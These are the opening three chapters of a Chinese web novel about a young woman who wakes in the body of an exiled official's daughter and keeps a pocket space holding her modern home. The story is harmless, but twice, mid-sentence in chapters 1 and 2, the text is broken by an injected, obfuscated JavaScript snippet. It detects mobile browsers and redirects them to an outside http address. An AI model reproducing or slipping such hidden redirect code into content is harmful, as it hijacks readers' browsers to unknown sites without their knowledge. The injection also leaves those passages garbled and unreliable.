《流放后,我在东北当地主》 1. 第 1 章 瑞兴四年,中秋。 烈日当空,花枝巷顾家东院墙角一株从巴蜀移栽过来的茉莉花,被火球似的太阳晒得发蔫儿。 “哎哟喂我的大小姐呀,奴婢求求您了,您好歹到屋檐下躲一躲,您若是晒病了,老爷夫人非得骂死我不可。” 顾佑安不肯走,她就要蹲在花树前守着,她恍惚记得有人说过,待天气一凉,茉莉花就要败了,看不着了。 “小姐呀~” 丫头小菊急得满头大汗,一个劲儿地劝,顾佑安呆呆傻傻,好似听不明白话。 顾佑安幼时生下来脑子就不太好,身子也弱,长到三岁还不会开口说话,急坏了爹娘。 那年家中来了一个破衣脏帽的道人,也无人请他,那道人自己走进顾家大门,不讨饭吃也不讨水喝,自顾自批命道:你家姑娘魂魄不全,不过也无妨,好生养到及笄,魂魄全乎了,人也就醒过来了,说不得还有大造化咧。 说完,那老道就走了,他一句话,叫顾家夫妻俩惦记了许多年。 顾家夫妻俩真心疼爱这个女儿,仔细妥帖养育到如今,十四岁了,顾佑安不见清醒,还是一副呆愣模样,瘦弱伶仃,真是可怜见。 “小姐,您身子弱,不比旁人,您就听奴婢一句劝吧。”小菊心疼地拉着小主子细细的手腕。 顾佑安扭头看这个小丫头,她缓缓站起身,露出个笑,随伺候的丫头拉着她走。 “哎,姑娘今日真乖。” 小菊喜笑颜开拉着她走:“小姐,咱们去找夫人去。夫人一早说了,今儿中秋,给您准备了许多爱吃的点心,叫您饿了就去主院讨吃的去。” 一主一仆往主院去,欢欢喜喜走到抄手游廊,只见一群身着皂衣,腰挎长刀,脚踩官靴的官兵如猛虎下山般,突然冲进门来。 “工部郎中顾稳,玩忽职守,行事不密,以至于太湖两度决堤。今皇上有令,罢黜其官职,抄家流放,即日执行!” “吾等奉皇命封锁顾家,所有人等,无谕不得出门!” 领头的侍卫冷声呵斥道:“官差办事,闲杂人等,一律滚开!” 流放?顾佑安不明白,流放是什么意思? 她一脸茫然,不自觉往前迈一步,被冲过来的侍卫猛地撞到,顾佑安无法控制地往前扑,脑袋撞到游廊柱子上! 撞得很重,沉闷的一声撞击,吓坏了身边的丫头。 “小姐!” 顾佑安倒地时,看到了试图拉她没拉住,小菊惊慌的脸。 脑袋疼,顾佑安闭上眼前一瞬,她好似看到她娘冷着脸从屋里冲出来,嘴唇绷紧了急喊她,她却再也听不见。 —— “唔~” 头疼地揉了揉额头,顾佑安睁开眼睛,她还她的卧室里,她又做梦了。 打从多年前她妈妈车祸去世后,顾佑安一直做同一个梦。 梦里面,她是花枝巷顾家痴傻的大女儿顾佑安,她的父亲是工部郎中顾稳,她母亲叫杜若娘,她还有个哥哥叫顾文卿,四年前她娘给她生了个可爱的妹妹叫顾佑萱。 这些年以来,顾佑安经常感觉她和花枝巷顾家的大女儿是同一个人,花枝巷顾家的日常就是她的日常,爹娘疼爱她,兄长照顾她,妹妹陪她玩儿。 梦里面的世界太真了,有时候顾佑安甚至感觉自己分不清现实和梦境。外婆还在世时经常安慰她,说肯定是她妈妈去世后,在梦里陪伴她。 顾佑安自小冷静理智,她是不信这些说辞的,她瞒着外婆,好几次叫外公带她去精神科看大夫。 大夫再三确定,她没有精神病。 既没有病,为何还是会做关于顾家的梦? 说不清。 顾佑安起身,推开窗户,巴蜀的冬天虽不下雪,窗户湿冷的空气却激得她彻底清醒过来,不自觉地摸了摸冰冷的胳膊。 “嘟嘟嘟~” 电话是从小长大的好闺蜜好姐妹好邻居柚子打来的。 顾佑安回被窝里躺下,扯了被子捂住冰冷的肩膀,拿起电话:“喂。” 听到她声音这般清醒,电话那头的人似乎愣了一下,随后自然开口道:“安安,你又做梦醒了?” “嗯,刚醒。” “哎呀,你都知道你在老屋睡经常做梦,昨晚上怎么不回城里住?” 顾佑安今年夏天大学毕业后,回老家这个小城市考了公务员,若是老屋这边没事,她一般住市区,上下班方便。 “呵呵,你和你妈出去玩儿了,你家养的十只老母鸡,八只老鸭子都还在我家后院圈养着,我两三日不得回来喂一回?还有,这些天你买了多少快递寄到我家,你心里没数?” 他们这儿地处城乡接合部,划为经济开发区前,桃源街原本叫桃源镇,镇上各家都建的自建房。柚子家和顾家都建的两层楼,一楼门面出租,二楼住人,后院圈了个两百多平的院子,平日里种点蔬菜水果自己吃。 柚子今年年初离婚了,带着孩子回娘家,想找个事情做,就想做着靠山吃山,打算靠着村里后山上的桃林做游客生意。于是上月把家里一楼的门面改成农家乐,打算专门开店卖柴火鸡。 柚子上月把她家自建房一楼装修好了,计划过完年开业,趁着年前不忙,柚子带着她妈和她的娃出门旅游了。 柚子闲不住,出门旅游也没忘记要开店的事,趁着这几天网购促销活动买了几百斤大米、烟熏竹笋、纸巾和各种调料,快递全送到顾家了。 顾佑安昨儿傍晚下班回来,快递小哥开着电动车送了好几趟货,如今全堆在顾家一楼。 “怪我,哈哈哈,我给忘记了。对了,我从宁夏寄来的两头速冻切成段的滩羊和三十斤牛肉,你收到没有?哎呀,宁夏的滩羊真好吃呀。你看我多惦记你呀,吃着好吃的都想着给你寄一份。” 顾佑安嘴角翘起,望着微微透出晨光的天际,心情十分愉悦。 “两只羊,一只给你一只给你堂舅家,你帮我送哈,帮我谢谢舅舅送的腊肉和水果,等过年了我再去你堂舅家拜年,亲自道谢。” 顾佑安跟柚子打小一块儿长大,既是邻居又是闺蜜姐妹,顾佑安的亲戚,也是柚子的亲戚。 十年前,顾佑安的堂舅在老家包了一个山头和几十亩田地种水果蔬菜卖,做农场生意,当初这条生财的路子是顾佑安的外公指点的,堂舅惦记这份情谊,山里地里的蔬菜果子成熟了,都会给顾佑安这儿送一份,顺手也给柚子家送些尝尝。 “听你的意思,这几天不回来?” “不着急,我想带着崽崽去一趟东北玩儿雪,等到月底再回来。” 顾佑安皱眉:“出门这么久还不回来?上月才闹了什么病毒,崽崽才三岁大,你小心些。” “没关系,平日去人多的地方都给崽崽带口罩,再说我妈也在,我们两个大人照顾他一个小娃,不会出问题。” 听她这般说,顾佑安也不多话,她只淡淡道:“玩儿够了就回来,不用怕你前夫恶心你,张军得意不了几日,最迟开春前,他和他那个小三就要进去吃牢饭。” 电话那头,柚子感觉呼吸都紧了:“安安,张军就是个无赖,你一个小姑娘别跟他对着干,万一你出个什么事,你叫我怎么办。” 顾佑安微微笑道:“我以前跟你说过吧,当初他和你结婚,他看中的就是我们两家好做一家,打的就是借我家人脉做生意的主意。如今我外公外婆不在了,他吃够了好处就翻脸不认人,哪有这么好的事情。” “你不用担心我,我外公虽不在了,他老人家留下的人脉还在,轮不到张军耀武扬威。”顾佑安语气冷而锐利。 当年她爸是这样的凤凰男,张军也是这样,顾佑安厌恶极了这种小人,当初她外公既然能收拾她身价上亿的爸爸,她如今也能收拾张军。 “可你才考上,去单位上班也才半年,万一影响你工作怎么办?”柚子还是不放心。 “我的事我知道安排,你玩儿你的吧。” 顾佑安外公是个人精,她外婆是个颇有名声的老中医,打小在他们跟前长大,顾佑安看多了人情来往,心领神会了许多不足为外人道的东西,这些足够她在单位过得如鱼得水。 再说了,她考公去的就是外公的单位,叔叔阿姨们看在外公的情面上,只要不是要紧的事,多少会护她几分。 两人聊了会儿挂断电话,鸡窝里的公鸡扯着喉咙打鸣,顾佑安这里天亮了。 窗外淡淡的晨雾随风飘扬,后院左边一块小菜地看不清楚,右边几棵果树看得隐隐约约,橘子和橙子挂在枝头红艳艳的,最是显眼。 站在窗边深呼吸,冬日的冷空气叫她从身到心都被唤醒。 穿好羽绒服,顾佑安打算下楼去后院菜地里摘一把豌豆尖,早上煮馄饨吃。 下楼时顾佑安心里念着外公外婆,他们在时,后院菜地都是他们在打理。去年外公去世,今年年初外婆也不在了,她在单位忙,今年入秋种冬菜,后院菜地全是柚子家给种的,豌豆苗、青菜头、莴笋、白菜、蒜苗这些家常菜都种了一小块。 想事情想出神了,没注意脚下,下楼梯一个不小心踩空。 完了! 顾佑安还没摔地上,脑子里立刻就想到了梦里面脑袋撞柱子的场景。 “砰!” 顾佑安被惊醒。 “醒了醒了,我的心肝儿啊,你真是吓死娘了。” 杜氏好好的一个官夫人,这会儿头发凌乱,妆容斑驳,抱着醒来的女儿又是哭又是笑。 “娘?” 顾佑安看到这张熟悉又真实的脸,十多年了,此时她怀疑自己又做梦了。 顾佑安眼睛转来转去,继承自她父亲那一双锐利冷淡的凤眼清亮有神,完全不像以前呆傻的模样。 杜氏愣住了,突然,她猛地把女儿搂怀里,搂得紧,顾佑安都被抱疼了,下意识想挣扎,一串串热泪滴到她脸上,顾佑安顿时不动了。 这不是梦,是真的。 顾佑安一声轻叹,就像火种一样,一下点燃了杜氏的情绪,杜氏毫无形象地嚎啕大哭,嘴里喊着老天爷啊,一下又一下地抚摸女儿的脸。 二门口看守的守卫好奇地往里看了一眼,互相交换眼色。 里头动静那么大,那个傻小姐撞了脑袋,不会是人没了吧? 人没了也好,傻傻愣愣得去流放,估计也不活不到松江城,早死早超生。 杜氏哭得难以自抑,顾佑安安抚地拍拍她胳膊,心里想着她的家。 一个闪念,顾佑安从杜氏怀里消失,她站在楼梯上,她原本穿在身上的羽绒服和衣裤等全部堆在地上。 顾佑安低头看自己,她身上穿的是一套古代小姐的衣裳,鹅黄素景绣百蝶穿花的儒裙,手腕上戴一对福寿缠丝镯,她利落的锁骨发也成了及腰长发。 轻触脑袋,撞了柱子的地方鼓着一个包,不小心碰到疼得她皱眉。 顾佑安快步下楼推门出去,后院还是那个后院,果子还在枝头,鸡鸭还叫着。 顾佑安站在原地转了一圈,她家的房子和院子一切如旧,但是这一切都被白雾笼罩,院子外头的景色她看不到一点。 顾佑安想走出院子,被雾挡住了脚步。 她念着娘,一转身,又回到杜氏怀里。 杜氏眼睁睁看到女儿消失,又出现,手里还拿着一件玄色厚褥,这是怎么回事? 女儿失而复得,杜氏涕泪横流,抱着女儿又大哭起来。 顾佑安又一次消失,再回来时手里握着一个刚从后院橘子树上摘下来的橘子,杜氏吓了一跳,说话都颤抖起来。 “老天爷啊!” 这才中秋,哪里来的红桔?红桔还这般小? 顾佑安看着手上的砂糖橘,终于确定,她穿越了! 做了十几年的梦,竟然成真了! “安安,娘的安安,你别吓娘啊,娘受不住的!” 顾佑安回搂住她娘:“不吓您,女儿回来了。” 杜氏眼睛被泪水洗得亮若繁星,又是哭又是笑道:“那个老道到底有几分本事,说你魂魄齐全了就好了,没想到真是如此。” “安安你刚才把娘吓坏了,你去哪儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15299809|167118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了?” 顾佑安刚才试图带她娘进家里,进不去,只能她自己进去,想到家中此时艰难,不能再耽误,顾佑安立刻道:“娘,您听我说。” 捡要紧的,顾佑安把她从小做梦的事,还有她穿越的事说给她娘听。杜氏听得连连点头。 “安安说得没错,你梦里面的事情就是咱们家里的事,可见你前世今生都是我和你爹的女儿,老天爷叫咱们相见了。” “那我听到的流放……”也是真的? 杜氏抹干眼泪,道:“当今皇上是先皇的嫡次孙,四年前先皇选太子,你爹联名举荐先皇幼子祁王殿下。当今皇上是个心眼小的,自他登基后清算了许多大臣,你爹早就料到咱们家有今天这一遭难。” “爹可做了准备?” 顾佑安梦里面,她爹可是个十分聪敏的人。 “做了准备,咱们家在外面的房产铺子都交给信得过的人经营,原本想等到今年过完年,正月里你过了生日,我带着你和你妹妹回益州老家躲一躲,可惜人算不如天算。” 顾佑安沉默,爹娘想等到她过完十五岁及笄生日再走,应该是为了她,指望她可能会神志清醒。 爹娘怀抱着万一她能醒过来的渺茫希望,才会冒这么大的险。 “你爹一介微末小官哪里斗得过皇帝,你别怕,有爹娘在呢,流放而已,咱们一家人只要好好的,吃点苦也不算什么。离了京城也好,只要撑到松江城,以后也不用担心不知什么时候就没了性命。” 可……那是流放啊! 从洛阳流放到松江城,这一路差役欺压且不说,山水迢迢,三千里路全靠他们走过去,风霜雨雪严相催,土匪强盗虎视眈眈。 她都知道的事情,娘怎么会不知道呢?许多话在顾佑安心里转了好几遍,终究没说出来惹娘烦心。 “娘。” 顾佑安回头,她梦里见过无数次的小妹妹顾佑萱,无措地站在门口。 “阿萱快过来,这是你姐姐啊。” 杜氏红着眼睛招手,阿萱连忙跑过来扑到顾佑安怀里,杜氏抱着大女儿,大女儿抱着小女儿,母女三人紧紧抱在一起。 阿萱眨眨眼看着姐姐,顾佑安对她笑,阿萱拉着姐姐的手咧嘴大笑。 小儿不识愁滋味呀。 “娘,阿萱饿。” 阿萱揉揉肚子,今日中午家中被围,这会儿已经快子时了,母女三人被关在屋里还没吃过饭。 “怪娘,怪娘没想到。” 今天下午发生太多事了,先是流放的事把杜氏打懵了,然后又是安安撞到头昏迷,她求守卫请大夫,却被赶了回来,她抱着大女儿急慌了头,小女儿哭闹到睡着她也顾不上。 顾佑安抱着妹妹不让动:“娘,这会儿指望不上外头的守卫吧。” 杜氏冷笑,外头那些人就等着他们一家赶紧流放,然后好趁着抄家趁火打劫,哪里有善心人。 “今早厨娘送来一盒月饼,还在屋里放着,和着水吃一块,那个顶饱。” 有的吃就赶紧吃,过了今日,以后只怕再吃不着了。 冰冷的茶水,冷硬的月饼,顾佑安怕阿萱年纪小肠胃受不了,赶忙拉着她娘道:“不吃这个,咱们吃点软和的。” “哪里有……” 杜氏话说到一半想到女儿刚才说的话,连忙说:“能拿出来?” 顾佑安点点头,她手里还握着空间里拿出来的砂糖橘,肯定能拿出来。 “娘,你和妹妹等等我。” 顾佑安把手里得砂糖橘给她娘,抬脚往屏风后面跑,躲着妹妹,进了空间。 “娘,姐姐去哪儿了?” “姐姐忙去了。” 杜氏剥了小橘子,分给小女儿吃,她自己也尝了两瓣,还挺甜。 杜氏左右环顾屋里,抱起小女儿放在矮榻上:“你坐在这儿别动,娘收拾东西。” “好,阿萱不动。” 今儿下午,传旨的侍卫说要把他们家流放,却没把他们送进大牢,只把他们母女三人关在屋里。 因两个女儿离不得人的,主院正房旁边两间耳房,杜氏给两个女儿住的,为了照看女儿方便,把两间耳房跟正房打通了,如今倒是方便她了。 杜氏脱了身上华丽的衣裳,摘了首饰,换了一身白色的细棉衣裳。 随后,杜氏轻手轻脚地翻箱倒柜,把他们夫妻俩的衣裳,以及两个闺女的衣裳鞋袜,衣箱里的布匹,梳妆箱里的金银首饰,屋里值钱的古董摆件等,全部都找出来。 过了会儿,顾佑安端着一锅鸡蛋青菜面出来,一出来就看到屋里的桌上空地上堆满了东西。 杜氏:“赶紧收起来,不能便宜了那些官匪。” 明儿他们一走,家里的东西都留不住,如今能拿走一些是一些。 母女俩对视一眼,顾佑安把平底锅放到屏风后面的矮桌上:“娘,您带着阿萱先用饭。” 杜氏牵着小女儿去屏风后吃面,顾佑安趁这个工夫,把她娘找出来的东西都收起来,全部装到空间一楼,跟柚子买的大米放在一起。 正房屋里一套紫檀桌椅十分值钱,还有卧室里的矮榻矮桌都是好木料做的,都给收起来。 桌椅板凳可以搬,太打眼的架子床就不动了。 杜氏过了会儿过来瞧,见屋里空了许多,杜氏拍拍她肩膀:“去吃饭。” 为母则刚,杜氏养尊处优几十年,如今一家人前途未卜,她再忧心也不会叫两个女儿看出来。 填饱肚子,杜氏陪着两个女儿一块儿睡了。 “罪妇杜氏,你该上路了!” 大门被粗暴踢开,杜氏吓得一惊,阿萱年纪小,更是被吓得哇哇大哭。 顾佑安连忙抱着妹妹哄,又看外头,天色麻麻亮,顾佑安脑子里很自然地闪过一个念头,这会儿只怕才寅时初刻。 脑子里记着时辰,过后又想起大概几点钟,顾佑安反应过来,她就是大周朝顾佑安,大周朝顾佑安就是她呀! 前缘已逝,罪臣顾稳之女周佑安的命运,就是她余生要承受的命运。 2. 第 2 章 刚才守卫好似扔进来什么东西。杜氏过去捡回来,是两身麻布囚衣。 “安安,里头穿那件白的,再穿一件灰色衣裳,外头穿囚衣。”杜氏小声叮嘱女儿:“别怕热。” 杜氏来不及伤悲,自己穿上后,又赶紧给小女儿穿上两件昨晚收拾好的,两件灰扑扑的旧衣。 没有给幼儿穿的囚衣,杜氏只得把小女儿收拾得邋遢些,不起眼才好。 “快着点,磨蹭什么!” 外头人催了,杜氏一手挽着包袱,一手牵着小女儿出门。 “安安,跟在娘身边。” “站住,手里拿的是什么东西。”母女三人一脚跨出门就被叫住。 杜氏赔着笑脸道:“军爷,没什么,就一身换洗的旧衣裳,都是旧的,还望您通融通融。” “哼,这里的东西都要抄了收归国库,别说衣裳,就是一粒土一块砖都不能带走!” “包袱给我!” “两件不值钱的旧衣裳罢了,您就让我们带走吧。”杜氏苦求,偷偷塞了个金镯子过去。 “朝廷有命,咱们也不敢违抗!” 嘴上说得大义凛然,金镯子倒是毫不犹豫揣怀里。 这般拉扯,引来了一位穿绿袍的小官儿不耐烦道:“外头催了,不赶紧走在这儿歪缠什么,等着砍头?” 杜氏吓得低头。 守卫嬉笑着道:“给大人请安,这罪妇想带走包裹,不合规矩,我们正拦呢。” “带了什么?” “说是几件衣裳,谁知道里头有没有夹带其他东西。” 刚才拉扯间,包裹已经被半扯开,两件男子的旧衣掉地上,包裹里另有两件妇人的单衣,并一件小孩儿穿的衣裳。 阿萱小心翼翼拉着杜氏的衣襟,颤声喊了声娘。 小官儿瞥了眼可怜巴巴的小丫头,把包袱扯过来抖了抖,随后粗暴地丢地上:“就两件破衣裳,有什么好拉扯的,赶紧滚。” 杜氏赶忙收捡起衣裳,连连点头:“多谢大人,罪妇这就走。” 顾佑安微微抬头看那小官儿,却被她娘扯住走了。 一脚跨出二门,杜氏小声嘱咐闺女:“别抬头,跟着娘走。” 走了一段路,又出了大门,巷子里传来压抑的哭诉声,怒骂声,挨打的悲鸣声。 天色已微亮,花枝巷里头走出来一群身穿囚衣的男女老少,哭哭啼啼,呜呼喊叫,如一群牛马般被衙役拿鞭子抽着赶着走。 花枝巷住的都是官宦之家,往日富贵荣华都做空,一夜之间成了阶下囚,不是谁都像杜氏这般能迅速放下脸面适应。 杜氏抱起小女儿插进人群中间,顾佑安赶紧跟上她娘的脚步。 走到人群中间,顾佑安依然低着头走路,她瘦弱的身躯上挂着一件宽大的囚衣,走起路来摇摇晃晃,像是游魂一般。 走出花枝巷,旁边几条巷子里又赶出来几群人,都是要被流放的。 顾佑安的右后方有个男子压抑着怒意:“我等罪不至此,难道就因一朝天子一朝臣的缘故,就要把我等都杀……” 那男子被身边人按下头颅捂住嘴:“粱南你自己想死就算了,难道你要害死全族人吗?” “且想想咱们一家老小吧,好死不如赖活着,等到了西北,总有机会从头再来。” 顾佑安眼睛往右后方瞥,这些人是要去西北的? 他们这一群人,竟不是流放去同一个地方。 “哪还有机会?咱们就算勉强活到西北,那里地处边境本就危险,当地还干旱缺水,地里长颗草都不容易。咱们犯官家眷出身,恐怕种地都轮不上咱们,只能做苦力,被人欺负到死,哪还有活路?” 翩翩公子沦为阶下囚,怕引来官差鞭打,男人眼含热泪,哭都不敢大声。 顾佑安眼睛飞快地眨了眨,心脏跳得飞快。 松江城冬天虽冷,到底不缺水。她觉得流放去松江城已经是九死一生苦到家了,跟流放西北相比,竟还算好的吗? 万事怕比较,可再怎么比较,也都是流放。 顾佑安心里生出要逃跑的冲动! 能跑吗?跑去哪里? 顾佑安的右手突然被她娘抓住:“安安,跟紧娘。” 到城门口时天色大亮,城门外许多百姓排队进城,看到他们这一群流放的人,有人痛骂贪官,扔土块石头砸,有的大喊皇上圣明。 顾佑安飞快抬头看了下人群,这次流放的犯官及其家眷,粗略估计竟有四五百人。 “夫人!” “小姐!” 城门口除了百姓,还有来送别之人。 杜氏看到路边人群里挤着一个熟人,顾佑安也看到了。她记忆里,那个人好似杜家那边的隔房亲戚,这些年在京城做生意,没少受顾家照看,以前她娘教她喊杜二叔。 杜二叔扔过来一个麻布包裹,还不等包裹飞过来,半路就被人截了。截了包裹的人立刻矮身躲进囚犯中,竟找不到人。 其他家也在扔包裹,有的被亲友捡到,大部分都被其他囚犯抢了。 杜二叔又扔了两回,最后一回扔来的包裹被顾佑安接到了,旁边突然冒出来一人要抢她的,顾佑安死不松手,一脚踹过去。 顾佑安狠瞪过去,那人好似不想惹麻烦,扭身往旁边挤。 城门口一阵忙乱,囚犯不老实,有人想趁着这功夫逃脱,被路两边的差役抓住,被鞭子抽得满地打滚,抱着头左躲右闪,嘴里大喊着饶命。 出了城门口,差役清点人头,一百多囚犯往南去,这是要流放琼州的。顾佑安跟她娘跟着往北走,他们要去松江城。 流放去松江城和去西北的囚犯走在一起,三百多人占了一半的官道。 不管人多人少,杜氏拉着两个女儿一直走在囚犯中间,不冒头,不说话。 按照朝廷规矩,流放需日行五十里。出了城门口,看守囚犯的差役骂骂咧咧催促赶路。 顾佑安这副身子太孱弱,十四岁的姑娘看起来跟十二三岁出头似的,身弱还要赶路,加上以前在家时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15299810|167118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不怎么走动,今日一下走了一上午,已经有些支撑不住了。 杜氏背上背着小女儿,她累得脸色发白,还不住地看身边的大女儿:“安安,可还好?” 顾佑安暗暗咬着牙点头。 今日天气太好了,日光晒得人发晕,一路上晕倒了好几个体弱之人,有些被家人背着,搀扶着往前走。 也有人晕倒在地起不来,又没人帮衬,差役上去就是一脚,鞭子抽的人身上都是血印子,只要没死都能被抽醒。 顾佑安没空关心他人,她努力控制住呼吸,深一脚浅一脚地往前走。 “歇着吧,半个时辰后启程出发!” 官差说话声还没落地,一群人腿软的立刻坐地上,这会儿许多人累得哭都哭不出来了。 口渴,缺水啊。 杜氏也走不动了,带着女儿从人群中出去,去路边找个能靠的地方坐下。 安顿好女儿,杜氏抬头到处看:“安安,路上可看到你爹和你大哥了?” 顾佑安摇了摇头。 昨儿她爹随百官进宫给皇上贺中秋,被抓下狱,她爹应是跟其他犯官走一块儿。 至于她大哥顾文卿,他昨日在太学读书,昨日下午家中被围他也没回来,应是被抓去狱中了。 刚才出城点名时顾佑安听到她爹和大哥的名字了,他们应是走在一块儿。 杜氏交代道:“安安你在这儿守着你妹妹,我找你爹去。” “嗯,您放心去吧。” 顾佑安目送她娘离开,把阿萱抱在怀里,把她身上的衣裳脱下来两件,只留了一件单衣穿着,她自己也脱了两件衣裳下来。 这时,不远处一个妇人打量顾佑安,目光十分惊讶,顾家那个傻子竟好了么? 这时,差役发饭了,丢过来两个干巴巴的玉米饼,这就是他们的午饭。 阿萱倒是不嫌,拿着玉米饼啃了一口,啃下来一小块儿,嚼吧嚼吧,脖子伸长了跟鹅似的,好不容易才吞下去。 “姐姐,难吃。” 顾佑安嗯了声,只用眼睛看她都知道这饼子难吃。 顾佑安拿起饼子撕了一下快扔进嘴里,慢慢嚼着,嚼烂了,玉米饼里有一丝甜味,竟也吃得下。 阿萱吃不下,她躲在姐姐怀中:“爹娘呢?” “娘去找爹了,一会儿就回来。” 阿萱年纪小,一路上有娘护着,没受罪,她还不知道他们一家人正面临怎样的命运。 顾佑安撕下一小块粗饼给阿萱:“慢慢嚼。” 阿萱乖呢,叫她吃她就慢慢嚼着。 杜氏回来了,一同回来的还有她的爹和哥哥。她爹顾稳是被她大哥背过来的。 “爹!” 顾佑安一下站起来。 顾稳脸色白的吓人,他强撑着一口气,打量着眼睛格外有神的大女儿,欣慰笑道:“咱们安安是有福之人,竟因祸得福了。” 顾佑安一看她爹脸色不对,连忙伸手摸了下。 不好,她爹发烧了。 3. 第 3 章 太湖决堤之事今年碰上了两回,一回是六月时,一回是半个月前。 顾稳既不是太湖堤坝督建之人,也不是溃堤后的赈灾之人,按理说就算太湖决堤和他这个工部郎中有牵连,最多只能算是连带责任。 流放已经算是下头人看皇上的意思借题发挥的重罪,没想到那些人猪油蒙了心,竟还敢借机以莫须有的怀疑刑讯逼供。 杜氏红着眼扶丈夫坐下,嘴里不停地叫他慢着些,别碰着伤处。 “不妨事,我只被打了几鞭,你别哭。”顾稳吸气缓缓坐下,还不忘哄妻子。 顾稳越是这般说,杜氏越是忍不住泪:“他们太欺负人了。” 顾稳寒门出身,为官十余年能走到五品工部郎中这个位置,全靠他会读书,会做事。可官场之上,比起会读书和会做事,更重要的是会说话,和背后有人。 顾稳千般小心万般留意,还是走到了今朝。顾稳不为过往的事情后悔,他唯一后悔的是连累了家人。 “别难过,最坏不过如此。好在,咱们一家人都还在。”顾稳和杜氏夫妻俩想到一块儿去了。 顾稳想到其他几个关系不错的同僚,他们参与其中,宫里都不顾昨日是中秋,就把人砍头了。 杜氏心里恨毒了当今皇帝,牙咬了又咬,再恨也只能咽下。 “爹爹,吃饼?” 阿萱不爱吃这干巴巴又难嚼的饼,跟以前一样,她不爱吃的都往爹爹嘴里塞。 顾稳微微一笑,摸摸小女儿的头:“爹爹不吃,阿萱自己吃。” 阿萱眉毛皱成毛毛虫,拽着爹爹的衣襟撒娇:“阿萱不吃。” 杜氏瞪女儿:“不爱吃也得吃,外头不如家里,不许挑嘴。” “面面。” “哪里有面给你吃,快吃你的饼。” 娘凶她,阿萱哭唧唧往爹怀里扑,顾稳不小心碰到了受伤的背,闷痛哼了一声。 “阿萱,不许撞你爹爹。”杜氏连忙把小女儿抱过来。 “爹爹怎么了?” 顾稳自己疼,还顾念着小女儿:“爹爹生病了,过几天就好了。” 从刚才过来后一直没说话的顾文卿低声道:“爹在发热,不能放任,等咱们晚上到驿站,必须想办法弄些药来才行。” 杜氏道:“这事儿我来办,有法子。” 顾稳和杜氏对视一眼,多年夫妻,顾稳知道妻子说的是真话,他心里猜测,妻子是不是暗中藏了银子。 顾文卿也知道他娘一向有成算,也就不问了。 顾佑安拆开今日清早出城门时杜二叔扔过来的麻布袋,里头一小包银子铜钱,一叠肉饼,并一个装满水的葫芦。 顾稳问道:“从家里带出来的?” 杜氏面露讥讽:“那些敲骨吸髓的哪能容我带这些东西出来。” 顾佑安道:“这些是出城时杜二叔扔过来的,扔了好几个,我们只抢着一个。” 杜氏脱了身上两件衣裳塞包袱皮里:“咱们也算运气好,多亏了看守咱们家的那个小官儿心不错,叫我给你们带了一身换洗的衣裳出来。” 加上身上多穿的两件,多少顶些事。 顾佑安仔细看她爹身上的穿着,估计是下狱匆忙,流放也匆忙,只扒了官服和外袍,身上的里衣、裤子和鞋,都是他自己的。 顾文卿也是差不多的打扮。 “娘,爹和大哥缺衣裳。”东北的严寒她是知道的,只穿两件单衣肯定不行。 “没事,不是还有银子么,路上再想办法。” 顾文卿见妹妹如今开口说话了,还能关心他们,操心家里的难处,顾文卿嘴角露出个笑来。 爹说得对,妹妹也算因祸得福了。 “别说了,先吃饭。” 有了好吃的肉饼,阿萱顿时眉开眼笑起来,把玉米饼塞给姐姐,拿着肉饼张大小嘴,饿虎扑食一般猛啃一口,香呀! 顾文卿舍不得吃,他今年已经十七了,知道流放路上有多艰难,他想留着肉饼以后再吃。 杜氏塞给儿子肉饼:“吃吧,天气热也留不住,不如留肚子稳当。你今儿背着你爹走了一路,已经够辛苦了,不能再亏了肚子,以后会有办法的。” 顾佑安也拿了个饼子吃。 顾稳满意地看着女儿,跟妻子笑道:“你以前常跟我争,说女儿回魂了性子到底像你还是像我,如今看来,安安性子还是像我。” 杜氏看看丈夫,又看看安安,嘴角露出个笑:“阿萱像我,文卿和安安性子都像你。” 顾佑安对爹娘和哥哥妹妹都很熟悉,梦里面常见到,这会儿她仔细看眼前活生生的家人,也露出个笑来。 她接受顾佑安的命运,重新拥有了疼爱她的家人,也不算坏到底。 略歇了歇,差役吆喝着启程,饿了快两天的顾稳吃了饼喝了水,起身时有了几分力气,不肯再叫大儿背着走。 “你也累,我现在有力气走,你也歇一歇。” 顾文卿扶着他:“爹,您拽着我胳膊,走不动我背您。” 杜氏也扶着顾稳,走了两步又想起女儿,阿萱起身蹦跶了下:“娘,我也自己走。” 杜氏嗯了声,又看大女儿:“身子可有不舒坦的地方?” 顾佑安摇摇头:“我还能走,娘别担心我。” 几百人顶着烈日出发,缺食缺水,这群犯官家眷哪里经过这些搓磨,出发不过一个时辰,路上又晕了许多人。 顾佑安这副身子也很孱弱,她咬着牙跟着队伍慢慢走,不肯落下。 顾稳在发烧,走动起来也还撑得住,杜氏的心神就回到两个女儿身上。阿萱走不动了,杜氏背起小女儿继续走。 杜氏从家里带出来的几身旧衣裳,和杜二叔给的葫芦,都塞包袱皮里,包袱挂在顾文卿身上。 走累了,顾佑安脑子里一直想着其他事情转移注意力,东想西想,埋头走了许久的路,走到太阳下山,走到她形如行尸走肉,今天的五十里地走到头了。 “安安,咱们到驿站了。” 傍晚的风从路边的田野间吹过来,顾佑安模糊混沌的脑子清醒了点。 抬头环顾四周,前头就是驿站了,驿站后头是一座小山头,驿站前面是田地,田地远处一条河流在流淌。 流放的犯官及其家眷三百余人,驿站里只有两间屋子留给他们住。 